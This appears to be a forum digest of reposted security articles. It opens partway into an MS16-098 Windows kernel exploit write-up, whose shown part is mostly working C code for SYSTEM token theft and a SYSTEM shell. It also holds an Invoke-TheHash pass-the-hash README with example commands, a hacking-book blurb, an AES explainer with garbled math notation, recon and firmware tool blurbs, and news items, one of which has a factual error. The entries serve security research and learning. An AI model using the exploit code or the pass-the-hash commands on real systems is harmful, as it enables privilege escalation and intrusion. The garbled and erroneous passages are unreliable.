PDEVOBJ::bAllowSharedAccess will try to read that address in the first function block and if the data read is equal to one, then the function will exit, with code 0, which is what is needed to continue execution. The nice thing here is that if you look at the address that is being referenced, you will notice that the memory location that this address can fall in is in user-land. Using VirtualAlloc to allocate memory to this address and set all bytes to 1, will exit the function without errors, and will retrieve the bitmap data using GetBitmapBits, without crashing. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(fake, 0x1, 0x100); Step 6 – Fixing the Overflowed Header: At this point, the exploit is able to read/write to adjacent memory with size 0xFFFFFFFF * 1 * 4, which is more than enough to reach the second adjacent bitmap object in the next page, and overwrite the pvScan0 address to be used to gain arbitrary read/write on kernel memory. When the exploit exited, it was noticed that sometimes some crash happens related to pool headers when the process is exiting. The way to go around this was to use GetBitmapbits, to read the headers for the next region and the bitmap objects, which were not overwritten, and then leak a kernel address that can be found in the region object, The way to calculate the address of the overflowed region object is by nulling the lowest byte of the leaked address, which will give us the address of the beginning of the current page, subtract the second lowest byte by 0x10, effectively subtraction 0x1000 from the beginning of the current page that will result in the start address of the previous page. addr1[0x0] = 0; int u = addr1[0x1]; u = u - 0x10; addr1[1] = u; Next, the address to the overflowed Bitmap object is calculated, remember that the region object is of size 0xbc0, so setting the lowest byte of the address retrieved at the last step to 0xc0, and adding 0xb to the second lowest byte, will result in the header address of the overflown bitmap object. addr1[0] = 0xc0; int y = addr1[1]; y = y + 0xb; addr1[1] = y; Then, SetBitmapBits is used by the manager bitmap object to overwrite the pvScan0 member of the worker bitmap object with the address of the region header. Then the worker bitmap object is used with SetBitmapBits to set that data pointed to by this address to the header data read in the first step; the same is done for the overflowed bitmap object header. void SetAddress(BYTE* address) { for (int i = 0; i < sizeof(address); i++) { bits[0xdf0 + i] = address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); Step 7 – Stealing SYSTEM Process Token from the EPROCESS structure: The code used in this part is taken directly from Diego’s blog post[2] and the technique is heavily discussed in several papers and articles. However, it will be briefly explained for the sake of completeness. The process begins by getting the kernel address of PsInitialSystemProcess, which is a pointer to the first entry in the EPROCESS list, that pointer is exported by ntoskrnl.exe. // Get base of ntoskrnl.exe ULONG64 GetNTOsBase() { ULONG64 Bases[0x1000]; DWORD needed = 0; ULONG64 krnlbase = 0; if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { krnlbase = Bases[0]; } return krnlbase; } // Get EPROCESS for System process ULONG64 PsInitialSystemProcess() { // load ntoskrnl.exe ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); // get address of exported PsInitialSystemProcess variable ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); FreeLibrary((HMODULE)ntos); ULONG64 res = 0; ULONG64 ntOsBase = GetNTOsBase(); // subtract addr from ntos to get PsInitialSystemProcess offset from base if (ntOsBase) { ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); } return res; } The function PsInitalSystemProcess, will load the ntoskrnl.exe into memory, and user GetProcAddress to get the address of the exported PsInitialSystemProcess, then it will get the kernel base address by using the EnumDeviceDrivers() function. Subtracting the PsInitialSystemProcess from the loaded ntoskrnl.exe will result in the offset of PsInitalSystemProcess from kernel base, adding this offset to the retrieved Kernel base will return the kernel address of the PsInitialSystemProcess pointer. LONG64 PsGetCurrentProcess() { ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS // walk ActiveProcessLinks until we find our Pid LIST_ENTRY ActiveProcessLinks; ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); ULONG64 res = 0; while (TRUE) { ULONG64 UniqueProcessId = 0; // adjust EPROCESS pointer for next entry pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); // get pid ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); // is this our pid? if (GetCurrentProcessId() == UniqueProcessId) { res = pEPROCESS; break; } // get next entry ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); // if next same as last, we reached the end if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) break; } return res; } Then it will proceed by using the manager and worker bitmaps to traverse the EPROCESS list looking for the current process entry in this list, once found, the function will use the bitmaps to read the SYSTEM Token from the first entry in the EPROCESS list, and write it the Token of the current process entry in the EPROCESS list. // get System EPROCESS ULONG64 SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) Step 8 – SYSTEM !! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); The code and EXE for the exploit for Windows 8.1 x64 bit can be found at: https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow References: [1] https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects2 [2] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives [3] https://msdn.microsoft.com/en-us/library/windows/desktop/bb776657(v=vs.85).aspx [4] http://www.zerodayinitiative.com/advisories/ZDI-16-449/ [5] Using Paths Example: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145181(v=vs.85).aspx [6] Device Context Types: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183560(v=vs.85).aspx [7] Memory Device Context: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145049(v=vs.85).aspx [8] https://technet.microsoft.com/library/security/MS16-098 [9] https://www.amazon.co.uk/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860 [10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes – Keen Team: http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes [11] Windows Graphics Programming: Win32 GDI and DirectDraw: https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom [12] Abusing GDI objects for ring0 exploit primitives reloaded: https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf Sursa: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/

RubyFu Rubyfu, where Ruby goes evil! This book is a great collection of ideas, tricks and skills that could be useful for Hackers. It's a unique extraction reference, summarizes a lot of research and experience in order to achieve your w00t in shortest and smartest way. Rubyfu is where you'll find plug-n-hack code, Rubyfu is a book to use not only to read, it's where ruby goes evil. Who should read this book? Ideally, Hackers!; Those who have enough experience to hack our world and have at least basics in Ruby programming language. To get the best benefits of the book, open Rubyfu.net and pin its browser tab; Use irb/pry as interpreter to run the code or run it as script; Enhance the code to fit your needs and yeah, tweet the code and its output to @Rubyfu to share it with our awesome community. Organization of the book Module 0x0 | Introduction Module 0x0 is just a smooth start for you, whether you're a reader, writer, hacker or someone came to say hi. In this module you'll find a great start for you as a contributor, where all kinds of contributions are welcome starting from proofreading ending to topic writing. Module 0x1 | Basic Ruby Kung Fu Module 0x1 is an awesome collection of the most commonly needed String manipulation, extraction and conversion. Dealing with real cases that you might face during your hack. Dealing with encoding and data conversion could be trivial or complex topic and here we don't care, we'll solve it. Module 0x2 | System Kung Fu Module 0x2 digs more in system hacking, where the system command, file manipulation, cryptography and generating the common hashes are needed. Getting bind and reverse shell with really simple ways requires skill you need no doubt. Almost all Linux systems are shipped-up with ruby and if it doesn't?, no problem we'll get rid of it. Module 0x3 | Network Kung Fu Module 0x3 dives deeper in the network sockets, protocols, packet manipulation, more service enumeration ways and gives us more hacky and awesome code to get the job done. Working with network protocols need a deeper knowledge of how these protocols work in order to exchange understandable data and yeah, we'll figure it out right here. Module 0x4 | Web Kung Fu Module 0x4 web is the most common place to share information, however, it's a more delicious place to hack. Dealing with web known with its uniqueness for dealing with many and many technologies in one page only. Here we'll know how to deal with GET, POST requests, web services, databases, APIs and manipulating the browser to make it our soldier. Module 0x5 | Exploitation Kung Fu Module 0x5 whatsoever the vulnerability was, remote (FTP, IMAP, SMTP, etc.) or local (file format, local system) you'll need to know how to build fuzzers and skeleton exploit for that. If you get there you'll need a simple, clean and stable way to build your exploit. Here you'll know how to build your fuzzer, exploit and porting your exploit to Metasploit and how to write your own Metasploit modules too. Module 0x6 | Forensic Kung Fu Module 0x6 whoever you're, good or bad guy you'll need forensic skills in your hack and/or investigation. Here you'll learn more how to deal with registry extracting browsers' information and much more. Link: https://www.gitbook.com/book/rubyfu/rubyfu/details

Invoke-TheHash Invoke-TheHash contains PowerShell functions for performing NTLMv2 pass the hash WMI and SMB command execution. WMI and SMB services are accessed through .NET TCPClient connections. Local administrator privilege is not required client-side. Requirements Minimum PowerShell 2.0 Import Import-Module ./Invoke-TheHash.psd1 or . ./Invoke-WMIExec.ps1 . ./Invoke-SMBExec.ps1 . ./Invoke-TheHash.ps1 Functions Invoke-WMIExec Invoke-SMBExec Invoke-TheHash ConvertTo-TargetList Invoke-WMIExec WMI command execution function. Parameters: Target - Hostname or IP address of target. Username - Username to use for authentication. Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target. Sleep - Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds. Example: Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose Screenshot: Invoke-SMBExec SMB (PsExec) command execution function supporting SMB1, SMB2, and SMB signing. Parameters: Target - Hostname or IP address of target. Username - Username to use for authentication. Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to SCM on the target. CommandCOMSPEC - Default = Enabled: Prepend %COMSPEC% /C to Command. Service - Default = 20 Character Random: Name of the service to create and delete on the target. SMB1 - (Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. Sleep - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. Example: Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose Screenshot: Invoke-TheHash Function for running Invoke-WMIExec and Invoke-SMBExec against multiple targets. Parameters: Type - Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. Targets - List of hostnames, IP addresses, or CIDR notation for targets. TargetsExclude - List of hostnames and/or IP addresses to exclude form the list or targets. PortCheckDisable - (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up he function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection. PortCheckTimeout - Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check. Username - Username to use for authentication. Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI or SCM on the target. CommandCOMSPEC - Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command. Service - Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target. SMB1 - (Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. Sleep - Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. Example: Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 Screenshot: ConvertTo-TargetList Converts Invoke-TheHash output to an array that contains only targets discovered to have Invoke-WMIExec or Invoke-SMBExec access. The output from this function can be fed back into the Targets parameter of Invoke-TheHash. Sursa: https://github.com/Kevin-Robertson/Invoke-TheHash

Why AES Is Secure DISCLAIMER: I am not a cryptographer by profession, and may have made some mistakes or oversimplification in the content of this article. The Advanced Encryption Standard, otherwise known as Rijndael (which was its original name), is one of the most widely used ciphers for the encryption of data. It’s been approved by the US government to protect classified data. In this article, I’ll explain how AES works and why it’s secure. This article is written for anyone who has knowledge of pre-calculus math and computer knowledge. No prior knowledge of cryptography is required. Galois field theory AES makes extensive use of Galois field theory, which I’m going to give a very brief introduction to. For more details see Galois Field in Cryptography. A Galois field is a field containing a finite number of elements. A field is a set on which the operations of addition, multiplication, subtraction and division meet certain rules. We’ll refer to these rules as they come in useful – don’t worry too much about them. There’s the field of real numbers and the field of rational numbers. What makes a Galois field different from these fields, is that it contains a finite number of elements (which is why it’s also called a finite field). On the other hand, there is an infinite number of real numbers and rational numbers. A Galois field is denoted as GF(pn)GF(pn) where pp is a prime number and nn is a positive integer. We call pnpn the order of the field. The elements of a Galois field are the set of elements {0,1,2,…,pn−1}{0,1,2,…,pn−1}. Galois field arithmetic Firstly, let’s take a look at GF(p)GF(p). Addition and multiplication is done similarly to integers, followed by modulo pp (this is just finding the remainder after dividing by pp). For example, in GF(5)GF(5), 4+3=74+3=7 is reduced to 22, and 4×2=84×2=8 is reduced to 33. Elements of GF(pn)GF(pn) can be represented as polynomials of degree less than nn. For example, in GF(33)GF(33), the polynomial x2+1x2+1 would represent 10 and the polynomial 2x2+x+12x2+x+1would represent 22, with x=3x=3. In addition, we use modulo 33 on each of the coefficients. Adding up the two polynomials gives us 3x2+x+23x2+x+2, which is reduced to x+2x+2, represented as 5. However, things get more complicated when it comes to multiplication. Take the polynomials 2x2+12x2+1 and x+1x+1. Multiplying these two would give us (2x2+1)(x+1)=2x3+2x2+x+1(2x2+1)(x+1)=2x3+2x2+x+1. At this point, we’ve exceeded the order of the field! The way to resolve this is to modulo a suitable polynomial, by long division. There are certain rules for selecting this polynomial, which I will not discuss. Use of Galois field theory in AES In AES, where we want to manipulate bytes, GF(28)GF(28) is used. GF(28)GF(28) has a set of elements which represent all possible values of a byte. The fact that the addition and multiplication operations are closed (that is, applying addition and multiplication to any two elements will always return an element that is in the set of elements of that field) makes the Galois field very convenient for manipulating bytes, as operations can be done on any two bytes to get a new byte. It also turns out that addition of two elements in GF(28)GF(28) is simply XOR of both elements – this means that addition is efficient on hardware! On the other hand, multiplication is more complex. AES uses the polynomial x8+x4+x3+x+1x8+x4+x3+x+1, and most implementations will use a lookup table instead of computing the polynomial for the sake of efficiency. Overview of AES Now that we’re done with basic Galois field theory, it’s time to take a look at how AES is implemented. AES can be represented by two functions, E(k,p)E(k,p) and D(k,c)D(k,c) where kk is the key, pp is the plaintext and cc is the ciphertext. The former represents encryption, and the latter represents decryption. A valid encryption scheme would ensure that D(k,E(k,p))=pD(k,E(k,p))=p for any kk and pp. AES has 3 key sizes: 128, 192 and 256 bits. It is known as a block cipher; that means it encrypts plaintext in seperate blocks of fixed size, as opposed to a stream cipher which encrypts plaintext bit by bit. Its block size is 128 bits. Credits to mikeazo’s answer on Crypto StackExchange for the image. AES takes in 16 bytes, b0,b1,…,b15b0,b1,…,b15, which are arranged in a matrix from top to bottom, left to right: ⎡⎣⎢⎢⎢⎢b0b1b2b3b4b5b6b7b8b9b10b11b12b13b14b15⎤⎦⎥⎥⎥⎥[b0b4b8b12b1b5b9b13b2b6b10b14b3b7b11b15] AES can be broken down into 4 steps: SubBytes ShiftRows MixColumns AddRoundKey These 4 steps make up a round. Before the first round, AddRoundKey is performed, and in the last round, MixColumns is omitted. The number of rounds for AES is based on the key size: AES-128: 128 bit key, 10 rounds AES-192: 192 bit key, 12 rounds AES-256: 256 bit key, 14 rounds Substitution Permutation Network AES has a structure known as a substitution permutation network. A substitution-permutation network (SPN) takes in plaintext and keys as inputs. Each round looks like this: Combination of the plaintext with the round key (represented by ⊕⊕) Substitution of small blocks of bits (referred to as a S-box, or a substitution box) Permutation of all the bits (referred to as a P-box, or a permutation box) The combination of the plaintext with the round key is often XOR, as XOR is easily invertible (A⊕(A⊕B)=BA⊕(A⊕B)=B, as A⊕A=0A⊕A=0 and XORing anything against 0 does not change the result.) Decryption, hence, is merely XORing against the corresponding round key. At the same time, the S-box and P-box should also be invertible. This means that decryption for a SPN is merely the reverse process. A good S-box should offer various properties. Firstly, for it to be invertible, the substitution should be one-to-one. This means that the length of the output should be the same as the length of the input. This allows for decryption. Secondly, changing a single input bit should change about half of the output bits. This is known as the avalanche effect. A good P-box should ensure that the output bits of any S-box is distributed across the permutation. The reason for doing this is covered in the next section. By itself, the S-box is a substitution cipher, and the P-box is a transposition cipher. Both ciphers hardly offer any cryptographic strength, as they reveal statistical properties. However, when combined together, they provide powerful cryptographic strength. Confusion and Diffusion Confusion and diffusion are key properties of a secure cipher (as identified by Claude Shannon, considered the father of information theory). Confusion refers to the property that each character of the plaintext depends on several parts of the key, and diffusion refers to the property that when we change a character of the plaintext, then several characters of the ciphertext should change. Firstly, if a single bit is changed in the plaintext, an S-Box changes several bits. The P-Box then distributes these changed bits across. With several rounds, the ciphertext has changed completely. This satisfies the property of diffusion. Other than having a completely different ciphertext, this also prevents an attacker from modifying the ciphertext in order to get a desired plaintext, as this would change the plaintext drastically. Secondly, the SPN also exhibits confusion (under the assumption that changing one bit of the key changes several round keys – the SPN does not include derivation of the round keys). Every change in a round key causes a change in the input of the S-Boxes. As per the property of diffusion, the ciphertext would be drastically altered. This means that each of the output bits would depend on several parts of the round keys, which in turn depend on the key. This satisfies the property of confusion. The power of the SPN lies in how it allows for both properties to be exhibited, despite being so simple and efficient. Key Schedule Each round has a certain key of its own, derived from the key given. The algorithm to obtain the round keys is called the key schedule. With a larger key size, AES has a larger number of rounds. The reason is that given more key bits, there is a need for more rounds so as to ensure that there is confusion. This is why the key schedule differs depending on the key size. The key schedule derives the first round key from the master key, the second from the first, and so on until all round keys required have been generated. I will not elaborate much on how the key schedule works. The main point to note is that the key schedule consists of shifting bytes and XOR operations. The key schedule is invertible, allowing an adversary to derive the master key given any round key. A question you may ask is, why not use a cryptographically secure pseudorandom number generator? One could seed the generator with the key, providing a sequence of output round keys that are hard to predict and increasing the difficulty of obtaining the master key from the key schedule. Simply put, a simpler key schedule provides efficiency but comes at the cost of a bit of security. However, practically speaking, there is not much need to make the key schedule non-invertible. Despite the weakness of the key schedule, it satisfies the property that changing one bit of the key changes several round keys, which was a requirement for a SPN to be secure. For more details, you can read Thomas Pornin’s answer on Crypto StackExchange on why a simpler key schedule is used, and poncho’s answer on why making the key schedule non-invertible will not add much security. SubBytes A fixed S-box is used, taking in a byte as input and also producing a byte.The S-box of AES is calculated from the multiplicative inverse over GF(28)GF(28). The presence of multiplicative inverse for all elements is one of the properties that fields satisfy. A multiplicative inverse for a number xx is a number which when multiplied by xx gives the multiplicative identity 11. The multiplicative identity 11 satisfies the property that x×1=xx×1=x. In the field of rational numbers, we call the multiplicative inverse the reciprocal, or 1x1x. In a Galois field, there is a more complex procedure used in order to find the multiplicative inverse, known as the Extended Euclidean Algorithm. It turns out that the multiplicative inverses have good non-linearity properties, adding security against attacks which recover the key by exploiting linearity in the S-box. In addition to the multiplicative inverses, an affine transformation is used which I will not elaborate on. This allows it to be resistant to linear and differential cryptanalysis, as well as algebraic attacks. For more details on the design of the S-box, look at Rijndael S-box. ShiftRows and MixColumns These two operations are what permutates the bits (techincally speaking, MixColumnsdoes more than just permutations). ShiftRows just rotates each row by varying number of bytes. The first row is not rotated, the second row is rotated to the left by one byte, the third row is rotated to the left by two bytes, etc. This permutates the order of the outputs from the S-box row-wise. MixColumns performs a transformation on each column of the matrix. It multiplies the matrix of bytes with: ⎡⎣⎢⎢⎢⎢2113321113211132⎤⎦⎥⎥⎥⎥[2311123111233112] in GF(28)GF(28). Matrix multiplication is composed of several multiplication and addition operations. This transforms the bytes of every column. Hence, MixColumns permutates the bits column-wise. This matrix is a Maximum Distance Seperable matrix. The power of MDS matrices lie in the fact that they have perfect diffusion. Changing kk of the input bytes would change at least m−k+1m−k+1 of the output bytes, where m×nm×n is the size of the matrix. Combining both operations together, you get a very powerful P-box. As part of a SPN, this P-box helps to ensure diffusion, and does it very well. It propagates changes in the plaintext throughout, making differential cryptanalysis tough. AddRoundKey This is just a XOR operation as described in the section on SPNs. Conclusions on AES AES remains a very strong cipher. Bruce Schneler, a developer of Twofish, has written in 2000: I believe that within the next five years someone will discover an academic attack against Rijndael. I do not believe that anyone will ever discover an attack that will allow someone to read Rijndael traffic. So while I have serious academic reservations about Rijndael, I do not have any engineering reservations about Rijndael. Since then, academic attacks against AES have been developed. But many of them involve a smaller number of rounds or are impractical. The best key-recovery attacks on full AES so far is a biclique attack which is merely faster than brute force by at most a factor of 4. Furthermore, the data storage required works out to trillions of terabytes, far beyond the data stored on the planet. In addition to its strength, AES performs very quickly. SubBytes and multiplication in MixColumns can be replaced with a lookup table of 256 bytes. Its simplicity means that operations can be performed very fast, and is easily implemented on hardware. All of these properties are why Rijndael was chosen by NIST to become AES. If you want to know more about AES, take a look at A Stick Figure Guide to AES. If you would like to read more on the design of AES, take a look at The Design of Rijndael. If you want to learn more about why Rijndael was chosen over other candidates, take a look at this answer on StackExchange. You can view the history of changes made to this post at this website's GitHub repository. Sursa: https://wei2912.github.io/posts/crypto/why-aes-is-secure.html

Iti sustin motivarea.

What is it? IVRE (Instrument de veille sur les réseaux extérieurs) or DRUNK (Dynamic Recon of UNKnown networks) is a network recon framework, including tools for passive recon (flow analytics relying onBro, Argus, Nfdump, fingerprint analytics based on Bro and p0f and active recon (IVRE uses Nmap to run scans, can use ZMap as a pre-scanner; IVRE can also import XML output from Nmap andMasscan). The advertising slogans are: (in French): IVRE, il scanne Internet. (in English): Know the networks, get DRUNK! The names IVRE and DRUNK have been chosen as a tribute to "Le Taullier". Overview Have a look at the project homepage, and at the screenshot gallery for an overview of the Web interface. We have a demonstration instance, just contact us to get an access. A few blog posts have been written to show some features of IVRE. Link: https://github.com/cea-sec/ivre

Hacker held open MongoDB databases for ransom January 4, 2017 By Pierluigi Paganini A mysterious hacker is breaking into unprotected MongoDB databases, stealing their content, and asking for a ransom to return the data. Co-founder of the GDI Foundation Victor Gevers is warning of poor security for MongoDB installations in the wild. The security expert has discovered 196 instances of MongoDB that were wiped by crooks and being held for ransom. A hacker who goes by online moniker Harak1r1 is demanding 0.2 BTC, roughly $200 at the current exchange, in order to restore the installation. The crooks also request system administrators to demonstrate the ownership of the installation through email. It seems that the hacker is focusing on open MongoDB installations, likely using a search engine like Shodan. On December 27, Gevers discovered a MongoDB server that was left accessible without authentication through the Internet. “Unlike other instances he discovered in the past, this one was different. When he accessed the open server, instead of looking at the database’s content, a collection of tables, Gevers found only one table, named “WARNING”. ” reads a blog post published on bleepingcomputer.com. The attacker accessed the open MongoDB database, exported its content, and replaced all data with a table containing the following code: { "_id" : ObjectId("5859a0370b8e49f123fcc7da"), "mail" : "harak1r1@sigaint.org", "note" : "SEND 0.2 BTC TO THIS ADDRESS 13zaxGVjj9MNc2jyvDRhLyYpkCh323MsMq AND CONTACT THIS EMAIL WITH YOUR IP OF YOUR SERVER TO RECOVER YOUR DATABASE !" } “I was able to confirm [this] because the log files show clearly that the date [at which] it was exported first and then the new database with tablename WARNING was created,” Gevers told BleepingComputer. “Every action in the database servers was being logged.” The expert notified victims their database were hacked: “Criminals often target open databases to deploy their activities like data theft/ransom. But we also have seen cases were open servers like these are used for hosting malware (like ransomware), botnets and for hiding files in the GridFS,” he wrote in the notification letter sent to the victims. Querying Google for the hacker’s email address and Bitcoin address it is possible to verify that many other users were victims of the same attacker.Gevers suggests to block access to port 27017 or limit access to the server by binding local IPs in order to protect the MongoDB installations. MongoDB admins could also restart the database with the “–auth” option, after they’ve assigned users access. Below other tips useful for MongoDB admins: Check the MongDB accounts to see if no one added a secret (admin) user. Check the GridFS to see if someone stored any files there. Check the logfiles to see who accessed the MongoDB (show log global command). In December 2015, the popular expert and Shodan creator John Matherly found over 650 terabytes of MongoDB data exposed on the Internet by vulnerable databases. Other clamorous cases of open MongoDB exposed on the Internet were found by the researcher Chris Vickery. In December 2015 the security expert Chris Vickery discovered 191 million records belonging to US voters online, in April 2016 he also discovered a 132 GB MongoDB database open online and containing 93.4 million Mexican voter records.In March 2016, Chris Vickery has discovered online the database of the Kinoptic iOS app, which was abandoned by developers, with details of over 198,000 users. Pierluigi Paganini (Security Affairs – databases , hacking) Sursa: http://securityaffairs.co/wordpress/55018/cyber-crime/mongodb-hacked.html

Scientists Turn Memory Chips (RAM) Into Processor (CPU) By Catalin Cimpanu January 4, 2017 A team of researchers from universities in Singapore and Germany have found a way to turn the latest models of RAM memory chips into data processing units and effectively eliminate the need for a CPU. Their research focused on Redox-based resistive switching random access memory (ReRAM), the latest generation of RAM memory chips. ReRAM chips are currently developed and tested by companies such as Panasonic and SanDisk, and ReRAM chips will soon hit the commercial market. ReRAM set to revolutionize memory chips The way ReRAM works is to use a Ternary system instead of the Binary system. This means data can be stored inside ReRAM using four states instead of two (0, 1, 2, and 3), opening the door for storing larger amounts of data. Other ReRAM features also include long-term storage capacity, low energy usage and ability to be produced at the nanoscale level. These ground-breaking properties have attracted not only hardware manufacturers to this new technology but research teams as well, who are now experimenting with new ways to use ReRAM. Extra space in ReRAM chips could be used for CPU tasks A research team comprised of scientists from Singapore's Nanyang Technological University, and Germany's RWTH Aachen University and Forschungszentrum Juelich (research institute) have devised a new computing circuit that takes advantage of ReRAM's extra memory space in order to perform computing tasks. In simple terms, the research team moved the CPU's binary computing operations into ReRAM's free memory space. Researchers say that their discovery would allow hardware manufacturers to use ReRAM chips and eliminate the need to include CPUs in modern-day devices. This includes not only desktop PCs and laptops, but also smaller devices, such as smartphones, tablets, and IoT equipment. Computers get a speed boost, use less energy Scientists say the biggest impact of this new technology is that computers gain a speed boost because data doesn't have to travel between the RAM and the CPU anymore. This new computing model also cuts down the space utilized inside a device and reduces energy consumption because devices will have to supply power to only one component instead of two. Researchers also believe that the concept of using different electrical resistance to store information in memory chips could be expanded to make ReRAM store data in even more channels. The research team says that this could also speed up computational operations by giving more space to run CPU-related tasks. Some of the research that went into this breakthrough is publicly available in the Scientific Reports peer-reviewed journal [1, 2]. Sursa: https://www.bleepingcomputer.com/news/hardware/scientists-turn-memory-chips-ram-into-processor-cpu-/

Kaspersky SSL Interception Differentiation Posted Jan 3, 2017 Authored by Tavis Ormandy, Google Security Research In order to inspect encrypted data streams using SSL/TLS, Kaspersky installs a WFP driver to intercept all outgoing HTTPS connections. They effectively proxy SSL connections, inserting their own certificate as a trusted authority in the system store and then replace all leaf certificates on-the-fly. This is why if you examine a certificate when using Kaspersky Antivirus, the issuer appears to be "Kaspersky Anti-Virus Personal Root". Kaspersky's certificate interception has previously resulted in serious vulnerabilities, but quick review finds many simple problems still exist. For example, the way leaf certificates are cached uses an extremely naive fingerprinting technique. Kaspersky cache recently generated certificates in memory in case the user agent initiates another connection. In order to do this, Kaspersky fetches the certificate chain and then checks if it's already generated a matching leaf certificate in the cache. If it has, it just grabs the existing certificate and private key and then reuses it for the new connection. The cache is a binary tree, and as new leaf certificates and keys are generated, they're inserted using the first 32 bits of MD5(serialNumber||issuer) as the key. If a match is found for a key, they just pull the previously generated certificate and key out of the binary tree and start using it to relay data to the user-agent. You don't have to be a cryptographer to understand a 32bit key is not enough to prevent brute-forcing a collision in seconds. In fact, producing a collision with any other certificate is trivial. Sursa: https://packetstormsecurity.com/files/140355/GS20170104022335.tgz

What is nexmon? Nexmon is our C-based firmware patching framework for Broadcom/Cypress WiFi chips that enables you to write your own firmware patches, for example, to enable monitor mode with radiotap headers and frame injection. Before we started to work on this repository, we developed patches for the Nexus 5 (with bcm4339 WiFi chip) in the bcm-public repository and those for the Raspberry Pi 3 (with bcm43438 WiFi chip) in the bcm-rpi3 repository. To remove the development overhead of maintaining multiple separate repositories, we decided to merge them in this repository and add support for some additional devices. In contrast to the former repositories, here, you can only build the firmware patch without drivers and kernels. The Raspberry Pi 3 makes an exception, as here it is always required to also build the driver. Link: https://github.com/seemoo-lab/nexmon

